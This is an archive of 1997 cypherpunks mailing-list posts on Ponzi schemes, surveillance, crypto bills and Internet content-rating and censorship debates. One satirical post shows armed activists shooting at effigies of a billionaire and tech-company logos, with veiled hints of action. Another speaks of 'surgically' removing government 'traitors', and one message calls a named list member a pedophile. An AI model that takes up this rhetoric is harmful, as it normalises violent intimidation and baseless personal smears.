>still running a pyramid scheme: he accepts "voluntary donations"
>from an investor, in return for a "voluntary donation" at a later
>date whose amount and time are not guaranteed and depend on
>the "donations" collected from others. The Russian government
>does not shut down Mavrodi's latest operation so far, claiming
>it's not "fraud" since he doesn't misrepresent the source of
>his returns nor the risks involved. Reportedly so far he's
>getting oodles of investors and pretty good returns. Eventually
>of course his scheme will collapse, but the "investors" who
>got in and out early enough will have made good money.

Can you say "Wall Street?"  Because that's exactly how it operates right 
now.  The money being thrown at the stock market today is not "investing," 
it's simply a pyramid scheme.

>A similar scheme recently brought down the government of Albania.
>Reportedly the investors who got in late in the game and didn't
>get the returns they expected (or actually lost their investments)
>demanded that the gubmint reimburse them for their losses (by
>taxing the money from the more intelligent Albanians). When
>the idiots want the gubmint to protect them from their own
>idiocy, the gubmint happily uses this excuse to screw not only
>those who would fleece the idiots, but everyone.

This is what happened when the US Savings & Loans Banks in the Southwest 
failed in the 80's.  All of the people who lost money were bailed out by 
the FDIC, which of course is funded by taxpayer money.  The final figure 
was approximately $500 billion, depending on whose estimates you believe.  
So the idiots who didn't do their homework and put money into a bogus S&L 
were bailed out by everyone else who was smart enough to know better.  And, 
of course, the fraudsters (one of whom was the son of then Vice-President 
George Bush) got away with a slap on the wrist.

Go figure.

MoneyMonger







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Mon, 4 Aug 1997 19:28:15 +0800
To: cypherpunks@toad.com
Subject: News: Spy Base Expanded
Message-ID: <87069251316788@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain



  CLEAR Net - News
  Spy Base Expanded
 
  The Government has announced a planned expansion at Blenheim's Waihopai
  spybase to boost New Zealand's ability to monitor satellite communications.
 
  And the Prime Minister, Jim Bolger, says a change to the Crimes Act will
  allow the base to monitor phone calls by foreigners, which was formerly
  illegal.
 
Full story at
http://www.clear.net.nz/common/news/archives/articles/00001937.html.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 5 Aug 1997 14:58:11 +0800
To: cypherpunks@toad.com
Subject: Re: Ponzi Schemes (was Re: non-censorous spam control)
In-Reply-To: <199708042057.WAA23756@basement.replay.com>
Message-ID: <3.0.2.32.19970804232822.00769af8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>still running a pyramid scheme: he accepts "voluntary donations"
>>from an investor, in return for a "voluntary donation" at a later
>>date whose amount and time are not guaranteed and depend on
>>the "donations" collected from others. The Russian government
>>does not shut down Mavrodi's latest operation so far, claiming
>>it's not "fraud" since he doesn't misrepresent the source of
>>his returns nor the risks involved. Reportedly so far he's

A cheerful Ponzi scheme from the late 70s was the
Church Of Hakeem, in Oakland.  Hakeem Rasheed preached a lot about
Prosperity!, and how it could be Yours!  if you just had Faith!
It cost about $300 to be a priest, and once you were a priest,
you could lend the church money and get it back at some
outrageously high interest rate, like 100% per month.
Believers were making scads of money, just hand over fist.
Everybody was shocked when the church was robbed of several
hundred thousand dollars one night, and shortly thereafter
Hakeem was so depressed he skipped town, the poor guy.
	(huh huh, huh huh, depressed, huh huh)

On the other hand, the Social Security Trust Fund is just fine, thanks.

Fortunately, while encryption isn't getting blamed for Ponzi schemes yet,
anonymity is getting some of the fallout from spammers who are 
running them from behind forged mail headers, so we could still get hosed.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Tue, 5 Aug 1997 15:08:51 +0800
To: cryptography@c2.net
Subject: Crypto Legislation Page - docs and links
Message-ID: <3.0.32.19970804235303.00683bbc@best.com>
MIME-Version: 1.0
Content-Type: text/plain



I've collected all the stuff I've had laying around since Feb. or so
regarding the Senate and House Bills on crypto, including comment papers
and links thereto, Congressional Record dumps, and so forth.  I intend to
keep this up to date as things 'move forward' --- Thanks to these lists for
a lot of pointers to valuable information; my hope is that my page provides
a central location for monitoring, as much of the information has been
scattered about among the .org's who are watching, JYA, etc. etc.

Any comments appreciated, thx.

see www.best.com/~geeman






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 5 Aug 1997 13:16:42 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up (fwd)
Message-ID: <199708050506.AAA02022@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 05 Aug 1997 13:25:48 +0900
> From: Joichi Ito <jito@eccosys.com>
> Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up
>   (fwd)

> At 07:44 97/08/04 -0500, Jim Choate wrote:
> > If all it takes to take over the citizens of Japan is to bash them a little
> > then you folks are Doomed. Perhaps you have spent one too many days
> > hammering nails that stick up...
> 
> I meant get bashed here... and I don't hammer nails. Hammers nail me.
> And it seems like there are US hammers too. "To a hammer everything
> looks like a nail."

Which puts just about everything at an advantage over the hammer. At least
its actions are consistent and predictable.

A hammer can't hurt that which it can't hit. (hint: nails don't move)

Ta ta...

                                                    Jim Choate
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: axlotl <axlotl@rigel.cyberpass.net>
Date: Tue, 5 Aug 1997 16:29:53 +0800
To: cypherpunks@cyberpass.net
Subject: European Union Bank
Message-ID: <Pine.SOL.3.96.970805011925.12342B-100000@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain







---
axlotl@cyberpass.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Tue, 5 Aug 1997 02:05:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: How age and PICS ratings may go down...
In-Reply-To: <199708040231.TAA09298@you.got.net>
Message-ID: <199708041744.DAA13373@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



    Tim May said:

>One way "voluntary" age ratings--very similar to PICS ratings--may be
>mandated is through the kind of "plea agreement" cited below. (I don't
>know if this site is real or not, but the post presents a scenario which
>will become more common, I think.)

In more controlled countries such as Australia which has no
constitutional protections to slow down the removal of individual
freedoms and rights (I won't go into discussion here that we actually
do have such protections inhereted from ancient British law dating
from first settlement, and in any case such arguments are ignored by
the government goons) the scenario is already common and perhaps even
the norm.

>Someone writes something, or has a site, and is busted for some charge.
>(There are many, even with what remains of the First Amendment. Child
>porn, obscenity, the new copyright laws, the Anti-Terrorism Act, etc.) A
>nolo contendre or guilty plea to a lesser charge is entered, with the
>agreement that an age verification system will be used, or a PICS rating,
>etc. And so the government gets the kind of censorship it wants.

Here in Australia this bargaining process has been pre-empted by the
traitors in parliament and in the recent report which mandates
"voluntary" labeling they give you a possible out to charges of having
rude pics, unsuitable language or whatever is the flavour of the week,
passing through your server specified in their version of a voluntary
(mandatory) code. As Irene states in her excellent page on the subject
(http://www.thehub.com.au/~rene/liberty/label2.html):

"Draft legislative proposals have suggested content providers may have
a defense against provision of restricted material to minors by taking
reasonable steps to prevent availability of same. It has been
intimated that labeling may a defense of good intent and content
providers may label material in the hope of having a defense. In fact,
in terms of labeling, a clearer indication of good intent would be
not to label material, thus ensuring it was not made available to
those using properly configured filtering software." 

>(Duncan will likely argue that this is impossible to enforce. Maybe in the
>limit, in the sense that some will fall through the cracks. But the
>dangers to anyone hosting words or pictures on their sites is very real.
>As more and more ISPs drop controversial material--think of several recent
>cases, and perhaps even the case of our own John Young--and as more child
>porn/celebrity nude/obscenity cases are filed....by the time the Thomases
>are both out of prison, most sites will likely be heavily editing
>themselves, imposing age limits, and using PICS ratings.)

Many service providers, attempting to stay afloat here, already have
such editing/age and other limits. Here is an extract of the first ISP
contract I examined after reading your post (these conditions appear
to be fairly standard) - Note especially cl4.2 prohibiting access to
"offensive" material which is not defined and would on the face of it
encompass any material, not just rude pictures, that may be offensive
to..well to who knows..:

[See: http://www.bit.net.au and note the proudly displayed "We rated
with RSACi" logo on the lead page."

"4. Compliance with Laws and other Conditions of Use  

4.1 The Subscriber acknowledges that use of the Data, Databases,
System and Services may from time to time be subject to certain legal
regulations, conditions (including any license conditions) and
restrictions. The Subscriber shall ascertain and comply with such
regulations, conditions (including any license conditions) or
restrictions including but not limited to those laid down by the
Crimes Act 1914 (Cth) and the Copyright Act 1968 (Cth).   

4.2 Without limiting clause 4.1, the Subscriber and each User shall
not send, access or download any Data which is offensive, defamatory
or which to the Subscriber's or User's knowledge contains any computer
virus or has not been classified or approved in accordance with any
applicable censorship or other laws.   

4.3 Without limiting clause 4.1, the Subscriber and each User shall
not, without proper authorisation, use the System or Services to gain
access to information in a restricted access computer system or to use
a restricted access computer system, or use the System or Services to
contribute to or aid the commission of a crime or to infringe the
rights of a third party."

Furthermore a duty is placed on the _subscriber_ to notify the
provider of the existence of certain material, including the existence
of "offensive" material, computer virii etc. Failure to so notify the
provider may cause you problems if a later search of your hardware or
a search of the providers temp files reveals you accessed such
information. No consulting fees are provided for in the agreement for
the subscribers time and expense providing such valuable data:

"8.1 The Subscriber shall notify the Company immediately upon becoming
aware of: any infringement of any third party's intellectual property
rights as a result of information being made available on a Database
or by use of the System or Services, the existence of any data, code,
program or other material of the kind referred to in clause 4.2 or any
use of the System or Software (by the Subscriber or any other person)
which may infringe clause 4.3."

It would be an interesting exercise to take out an account and
actually "immediately notify the Company" of such material. In just a
few hours of work a flood of material could be presented meeting such
a lose definition. Indeed a scan of my netscape cache for the last
couple of weeks would probably be enough to get me a free trip
downtown to visit the local goons with expensive court proceedings
required to attempt to avoid criminal sanctions for rather innocuous
web browsing habits. For an example where there was no evidence at all
against the subscriber but the cops performed a dawn raid on an
unsuspecting student (who was 14 months later found completely
innocent) based on the word of the ISP who was actively browsing
temporary files on the ISP's computer see:
http://www.thehub.com.au/~rene/liberty/qcaseone.html. It appears now
the student, who suffered immense financial as well as emotional
strain was merely a 'test case' to see how the new (a mere few days
old) net censorship laws would work. No doubt his sacrifice was for
the greater good of us all and to protect the leetle chiiiildren.

What amazes me is the time and money the traitors are prepared to
invest in attempting to prosecute such harmless activity performed in
one's own home. The fact that they are willing to do this indicates
the level of threat we all face from this scum and the level of
response that will be called for to surgically remove this cancer from
our respective countries. The threat in this country is far greater
than many might suspect in other jurisdictions as we are not schooled
in the writings of revolutionaries and early American presidents and
have no national psychosis of revolt nor any constitutional
guarantees (I know even these in the US are being subverted or
attacked but without them it's pretty grim). As can be seen from the
contract already referred to corporations are only too willing to lick
the rim the feeds them as they see no financial gain in attempting to
go against the flow. Indeed such a corporation would, with monopoly
control of telecommunications in Australia, quickly find itself
bankrupt.

The only conclusion I can draw is that our government and their
bedmates are very worried that people, through the internet, have the
ability to say (for now but not for long) what they wish about that
government, about anything and get that message out to many people
almost instantaneously. This must be of great concern to control
freaks and those who steal money and other assets with force. It has
always been that way.

Howard Rheingold states in Democracy is About Communication:
(http://www.well.com/user/hlr/texts/democracy.html)

"The threat of uncontrollable communications among citizens, not the
pornographic pictures or taboo words that a tiny portion of the online
population publish, is why freedom of expression is under attack.
'Decency' is a smokescreen. It's about power." and "Communication is
Political": "Porno on the Net is a sideshow. The main event, taking
place far from the spotlight, is about who will control and profit
from the new industry that network communication technology makes
possible."

Clearly in Australia the bureaucrats at the ABA hope to be a key body
to write their own ticket in this, to them, brave new world. The utter
cluelessness of the government and the ABA can be seen in an earlier
report released in 1996 which is good reading for a laugh where the
ABA clearly has difficulty coming to terms with the difference between
BBS, which until recently was the bogey man the government focused
on, and the net. See: Report on the Investigation into the Content of
On-Line Services dated 30 June 1996 
(http://www.dca.gov.au/aba/olsrprt.htm).

On age limits:

"14.3 The Subscriber must be a legal person. Any minor seeking access
must do so as a User of a Subscriber's account.  Supervision of such a
User shall be the responsibility of a Parent or Guardian of the minor."

Of course if the parent in question was supervising the minor then the
proposed censorship laws about to go before parliament that will limit
the ability of Australian _adults_ to access information would not be
required (I liked a previous description of this concept in another
article which described it as an "infantocracy").

--
"You have the rights antecedent to all earthly governments; rights that
cannot be repealed or restrained by human laws; rights derived from the
Great Legislator of the Universe."
..John Adams, Second President of the United States.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 5 Aug 1997 12:40:15 +0800
To: cypherpunks@toad.com
Subject: Not-News Gorilla NutWork Rocket-Launched
Message-ID: <199708050419.GAA20335@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain





[Not-News NetWork-- Mohave Desert] Aug 4/97



 WHAT DOES A FIVE HUNDRED POUND GORILLA READ AT THE BREAKFAST TABLE?

 -------------------------------------------------------------------

                                                               - sog

The "Not-News Gorilla NutWork" was rocket-launched in the Mohave Desert

early yesterday morning  by a rag-tag bunch of paramilitarist computer 
gurus who unveiled an InterNet Bill of Bytes that included the words, 

"MicroSoft shall make no laws..."



Angered by a self-appointed council of computer industry magnates who

have announced their intention to seize fascist control of the quickly

burdgeoning Information Highway by controlling the definition of all

information, the rebels set up a shooting range which contained a wide

variety of targets ranging from copies of the Wall Street Journal to

life-sized cardboard cut-outs of a hooded figure referred to only as,

"a billionaire to be named later."



A Che Guerva look-alike named Lefty (a nickname changed from "Lucky"
after a laboratory accident took three of the fingers on his right
hand) spoke openly about the group's loose-knit plans to impose their
own ratings system on corporations who have "taken it upon themselves
to decide what is news and what is not--what is information and what
is obscenity." 
  "We have decided on two classes of ratings." explained a tassle-
haired young woman as she slid shells into a Winchester Defender
sitting on her lap. "On..." she said, lifting the shotgun with one
hand, then liberating the hooded head from a nearby cardboard cut-out,
before turning back to say, with a Cheshire grin, "...and _off_."

The wide array of luxury automobiles and high-end computer gear on
display at the gathering lent credence to the claim of a quiet older
man whose only comment during my presence was, "The people here
probably have a combined access to more soft targets than the NSA."
He turned to punctuate his statement, as many others did that day,
with a volley of fire that penetrated targets carrying the corporate
logos of a variety of big-name players in the computer industry.

Surprisingly, the conversation consisted almost totally of issues
surrounding privacy, self-determination and freedom from censorship,
with hardly a word being spoken about potential plans of action of
individuals or the group. As the quiet man's equally quiet wife
spoke in what seemed to be a deathly whisper, telling me, "Everyone
here knows what they have to do.", a man with a crude, homemade
rocket-launcher sent a flaming projectile into the side of a small
propane tank several hundred feet away, as if punctuating the last
and most meaningful statement of the day.
  After quietly dispersing a few minutes later, the group packed up
their weapons and climbed into their vehicles without a word between
them, each seemingly going their own separate ways.

  I stayed on after the last of the others had left, reflecting on the
fact that I had arrived at this gathering by virtue of a late-night
phone call to my unlisted number, and found that I knew none of the
participants in the activities.
  I had the strangest feeling that the others there had arrived by the
same anonymous process as I had, and I wondered if they were equally
mystified as to who had arranged this impromptu assembly of apparent
strangers joined in a common cause. Immediately, one of the pickup
trucks driving away backfired, and I thought of synchronicity, knowing
that the truck would backfire once again, which it immediately did, 
before disappearing quietly out of sight.

  Climbing into my own vehicle, I took a last look at the site, which
had been cleaned and left exactly the way it was when I had first
arrived on the scene. I experienced a moment of deja-vue, as if I had
just arrived and none of what I had experienced that day had truly
transpired.
  Somewhere in the distance, a vehicle backfired...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer - I am not a reporter, I am not a paramilitarist, and I am
not a computer expert. I have no idea what I was doing there and I am
not even certain that I should be speaking about the event...but I am.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles <apache@bear.apana.org.au>
Date: Tue, 5 Aug 1997 05:38:28 +0800
To: stewarts@ix.netcom.com
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <3.0.2.32.19970804093014.007720b4@popd.ix.netcom.com>
Message-ID: <199708042105.HAA14375@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


    stewarts@ix.netcom.com said:

>which is a mixed blessing.)  Also, there are several Supreme Court cases,
>such as McIntyre vs. Ohio, that strongly uphold the right to anonymous

I envy the constitutional protections you have. We have no such 
protections and courts have found no right of free speech exists in 
Australia (ie if the High Court was correct of course). I'm assuming 
McIntyres case was a constitutional challenge.

>One obvious implementation of identification would of course be a
>Key Management Infrastructure...  They might not do it, not only because
>it would require everyone to change their email programs, but more
>seriously because it would require everyone to use encryption-capable
>mailers (or at least signature-capable), and even with 40-bit escrowed
>mail, it makes eavesdropping much more work.

Also if that did come to pass the casual user would become much more 
interested in crypto and probably ask why his crypto-enabled mailer was 
dum-ed down. Hmmmm...interesting.

Somehow I think the gubmint would be very wary of such a possibility; but 
who knows.

Comment for the list copy of this mail:
(Just on the matter of mailers, for anyone running X take a look at
exmh if you haven't already. This gives a nice graphical interface
and pgp is integrated into it making reading/writing encrypted mail
as simple as clicking a button. Combine it with xemacs and you have a
very powerful email system. Pegasus for Win95, and I think Win3.1 is
a freeware mailer for which a freeware add-on for pgp integration is
available)

 -- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///     PGP mail preferred            apache@quux.apana.org.au
>::::::::::\\\     Finger me @bear for PGP PUBKEY      Brisbane AUSTRALIA
   '\\\\\'   \\    Apache





-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM+ZEHXawhvoxf0r9AQFWdggAvOUckh2TNEqcFL5/higpXGR5+vbjItmV
MhB/5XsFCur9Jkls9KtWwQhn0bTdVqfVrj0LENw8W+xmPvEqaFFFtoGASA94+qjb
4tO5zuZR140E7e6g09IRsiNNJDTVvyB8hXPIIfFlcvQvvJ+6EZKCrZqI5gkQLXMb
leaOmdb7kvtsDC6DO6MTz2LS6YgN/J3ktj4VcuvN93HDEO4PiCVKWHEOfVKTpGpi
enSzWAjQzZQ9+0KVcx/w4+CGByDvs9GGHMsfOx626yCiv5wcubw1eM6sOhkfuk9M
9Nk+Bo2KuEP9dovJxFitimm58IphtEPhvEIBOWq0loR+USwwhiC6Og==
=QlpY
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 23:40:03 +0800
To: cypherpunks@toad.com
Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up
In-Reply-To: <199708050445.NAA03179@eccosys.com>
Message-ID: <uRRyae19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito <jito@eccosys.com> writes:

> I said:
> >>but I'll stop now before I get bashed again.
>
> At 07:44 97/08/04 -0500, Jim Choate wrote:
> > If all it takes to take over the citizens of Japan is to bash them a little
> > then you folks are Doomed. Perhaps you have spent one too many days
> > hammering nails that stick up...
>
> I meant get bashed here... and I don't hammer nails. Hammers nail me.
> And it seems like there are US hammers too. "To a hammer everything
> looks like a nail."

Joi, you sound like one of those Usenet pedophiles.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 5 Aug 1997 20:54:52 +0800
To: cypherpunks@cyberpass.net (Cypherpunks List)
Subject: "required" and "voluntary"
Message-ID: <199708051247.IAA08928@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



While following Wombat's link, I found this amusing piece:
    http://www.usatoday.com/life/cyber/tech/cta958.htm

Don't you just hate it when you're "required" to adopt "voluntary"
measures.


                                 oo
-----------------------------cut /\ here------------------------------

Bill would call for greater Net privacy protection

WASHINGTON - Many people who surf the Internet don't know that personal
information on them can be collected at the sites they visit. 

But that could change under a bill to be offered Wednesday by a key
telecommunications lawmaker which aims to give computer users greater
privacy protections. 

The bill by Rep. Billy Tauzin, R-La., would bar companies from disclosing
or using without consent people's medical and financial records, as well
as government information such as social security numbers that are
available online, said spokesman Ken Johnson. 

As chairman of the House Commerce Committee's telecommunications
subcommittee, Tauzin has considerable power to advance legislation
through the chamber. A hearing is planned for this fall. 

The bill also would require companies to adopt voluntary guidelines to
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
protect computer users' privacy when personal and other information is
collected from them online for marketing purposes, Johnson said. 

Web site owners can use technology to track, for instance, hobbies and
buying habits of visitors. The owners can then sell the information to
advertisers and other interested parties without the consent or knowledge
of the computer user. 

The Federal Trade Commission is now looking into the issue. To
short-circuit any regulatory action, companies including Microsoft and
Netscape Communications, the biggest makers of Web browsers, have
proposed letting computer users specify what personal information they
are willing to share and with which Web sites. 

The bill also would require companies to adopt voluntary guidelines that
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
would help reduce junk e-mail, or "spamming" as it's called in cyberspace,
Johnson said. 

[snip]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 6 Aug 1997 14:56:53 +0800
To: Ernest Hua <hua@chromatic.com>
Subject: Re: Clinton's threat of line-item veto affect crypto bill?
In-Reply-To: <199708042336.QAA00471@ohio.chromatic.com>
Message-ID: <3.0.2.32.19970805100040.0077fe24@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:36 PM 8/4/97 -0700, Ernest Hua wrote:
>Does anyone have any idea whether Clinton's threat of using the
>line-item veto against portions of the big spending bill could
>be leverage against some pro-SAFE legislators?

The line item veto doesn't eliminate the political games in the budget,
it just changes the details a bit.  Sure, he could threaten to
veto their favorite pork-barrel projects for crossing him on crypto,
just as he could threaten to veto them if they don't support
his favorite pork.  But as someone else said, he can threaten to
veto the crypto bill itself, or (perhaps worse) threaten to veto it
unless it's "balanced", by including controls on domestic cryptography
in return for letting Big Business export more products.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 6 Aug 1997 04:29:31 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <19970802092944.06562@bywater.songbird.com>
Message-ID: <3.0.2.32.19970805102802.0077fe24@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Kent Crispin <kent@songbird.com> writes:
>> In more general terms: A "free market" fundamentally grants more
>> control to those with more money.  Postage of whatever variety turns
>> the medium over to those with more money.  That would, in my opinion, 
>> fundamentally alter the character of email in a strongly negative 
>> direction. 

More to the point, if you're charging prices that don't reflect the
true costs of the activities, it'll catch up with you after a while;
either the Tacky People will find a way to siphon money out of the system
by some variant on spamming, or it won't have the same community you're 
looking for, because it's only used by people willing to pay extra for 
the service, or because the information flow that used to be provided free
gets stifled, or somebody will offer a competing system that offers 
similar features at a lower cost, or whatever.

Somehow Usenet has survived growing from a system small enough to read
all the mail to a system with gigabytes of traffic per day,
and it's still possible to find some signal among the noise
(though the Web has siphoned off much of that signal.)
And we've grown from tens of thousands of students and defense contractors
on the Arpanet and UUCP and Fido nets and BBSs to tens of millions of 
users on the Internet.  Filtering tools help find the interesting
parts of the global discussion, and make it easier to get rid of
the uninteresting parts.  

The present situation is that the social dynamics and economics are such
that Tacky People can make money by being rude to everyone without being 
interesting in return.  While trying to charge money for communications
may work, I'm inclined to doubt it; the more interesting currency to
try to model is Reputation, which leads to more like an Ender's Game
kind of net, or to semi-closed communities like the Well (is?was?).


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 6 Aug 1997 02:16:12 +0800
To: cypherpunks@toad.com
Subject: "A new battle over keeping the Net clean," by J.Weber/LATimes
Message-ID: <Pine.GSO.3.95.970805105217.27178F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 5 Aug 1997 10:49:32 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: "A new battle over keeping the Net clean," by J.Weber/LATimes


---------- Forwarded message ----------
Date: Tue, 5 Aug 1997 09:23:15 -0700 (PDT)
From: Jonathan Weber <Jonathan.Weber@latimes.com>
To: Declan McCullagh <declan@well.com>
Subject: ratings story


Innovation/ Jonathan Weber 
 
A New Battle   Over Keeping   the Web Clean   

WASHINGTON

   When Congress passed the Internet  censorship law known as the  
Communications Decency Act early last year, the many companies, advocacy 
groups and individuals with a stake in the Internet rose up as one to 
challenge the measure in court. 
   But now that the U.S. Supreme Court has ruled the CDA 
unconstitutional, the victorious coalition is fracturing, and a bitter 
battle is being joined over the Clinton-backed effort to develop a rating 
and labeling system for the Internet.  
   On one side are the big, mainstream Internet and computer companies, 
led by America Online and Microsoft, which proclaim their eagerness to 
make cyberspace "safe for families.'' Lining up against them are 
free-speech advocates, including the American Civil Liberties Union and 
the American Library Assn., which see ratings systems as censorship 
tools. 
   It's not exactly a fair fight: Ratings proponents have popular 
opinion, the economic interests of the industry and the power of the 
presidency on their side. But here's a prediction: The free-speech forces 
will lose the battle, but they'll ultimately win the war. And with a 
little luck there won't be too much damage done in the interim. 
   The debate over ratings begins with a technology called PICS, which 
stands for "platform for Internet content selection.'' PICS is a 
mechanism for labeling Web pages according to their content. The labels 
can then be read by a software program, which in turn can block access to 
sites that have specific types of content. 
 
PICS itself is not a ratings system, but rather a     method for 
implementing a ratings system. The theory is that once PICS is in place 
throughout the Internet, a multiplicity of ratings systems would emerge. 
A Christian Coalition ratings system might block access to anything with 
any sexual content as well as certain political sites, for example, while 
another system might block only hard-core porn. Parents and others could 
easily choose. 
   So far, so good. There would be no law requiring Web sites to use PICS 
labels; the Clinton administration has stressed that any ratings plan 
would be voluntary. But parents and others would get a new toolone more 
robust and effective than existing software programs, such as 
CyberPatrol, that block out sites deemed unsuitable for kids. 
   The free speech purists have a philosophical objection even to this. 
""Ratings systems are developed to enable one individual to exercise 
control over what another person sees,'' says Marc Rotenberg, director of 
the Electronic Privacy Information Center. That might be OK for parents 
and their children, he allows, but such a tool will inevitably be used by 
public institutions and governmentsif not here then abroadto restrict 
speech. 
   An even bigger worry is that what's being sold as a voluntary system 
that will include a multiplicity of ratings systems is actually going to 
be an all-but-mandatory system that offers very few choices. 
   Consider, first of all, what happens to Web sites that decline to rate 
their pages. Any PICS-based filter would have to block all unrated pages. 
Already, ratings proponents are calling on the major search services, 
such as Yahoo, not to index unrated sites. Overseas Web services would 
face the choice of adopting a U.S. labeling system or forgoing access to 
any U.S. readers. Web publishers that didn't want to participate might 
suddenly find themselves in a deserted backwater of the network. 
   There's also the question of how disputes over ratings would be 
arbitrated. Sites would be self-rated, and in fact the vast majority of 
sites would have no incentive to misrepresent themselves. But what 
happens when some do anyway? Would it be a crime for a porn site to 
proclaim itself suitable for children? 
   At the moment, moreover, it doesn't appear that there are a variety of 
ratings systems under development representing different values. In fact, 
a system being created by the Recreational Software Advisory Council, a 
Microsoft-led industry group, is quickly emerging as a de facto standard. 
   The battles over how RSAC handles certain kinds of sites have only 
just begun, but to see the inevitable problems one need look no further 
than the ongoing discussion about news. 
 
N   ews sites, reasonably enough, don't want to rate     themselves. At 
the very least it would be impractical to label every page of a big news 
site every day to warn of violent or tasteless or otherwise disturbing 
content. And labeling news just doesn't seem very consistent with freedom 
of the press. 
   So the news organizations want to have a special news rating. Who 
qualifies for a news rating? Well, a committeeoperating under the 
auspices of the Internet Content Coalition, which represents a number of 
major publishers (including The Times)would decide. News organizations 
get together to decide who is and who isn't a news organization. Hmm. 
   In the face of these objections, the Clinton administration and the 
companies backing the ratings effort say that, first of all, something 
has to be done to stave off new legislation. If industry doesn't act, 
Congress will come up with "son of CDA,'' and this time it might hold up 
in court. 
   There are other motives too, though, namely a desire to expand the 
market. "Nothing is as important as making this medium 
family-friendly,'' America Online Chairman Steve Case declared here last 
week. 
   That's funny coming from him, because AOL owes much of its success to 
its decidedly un-family-friendly sex-chat rooms, but he's obviously 
decided that a clean image is important to further growth. The online 
giant is spearheading a two-day meeting here in October, where the 
ratings battle is likely to come to a head. 
   The administration and the big companies both want to bring the 
Internet into the mainstream. If some of its wilder and woollier aspects 
are marginalized in the process, well, good. 
   And that is the nightmare of free-speech advocates: that a medium that 
the Supreme Court declared ought to be treated at least as liberally as 
print (ever heard of ratings for books?) will nonetheless be driven into 
TV-like conformity. 
This is a legitimate fear. Personally, though, I don't     think the 
worst will happen. The Internet is simply too big, too diverse and too 
fast-changing to be tamed by even a semi-voluntary ratings mechanism. The 
business interests, moreover, cut both ways: Family-friendly might look 
like a way to expand the market today, but pornography and gambling and 
even radical politics are sure to remain a big part of the online 
landscape. 
   AOL's Case says that online service providers competing on the basis 
of who is more family-friendly would be akin to airlines competing based 
on their safety records. That's a ridiculous analogy: Everyone thinks 
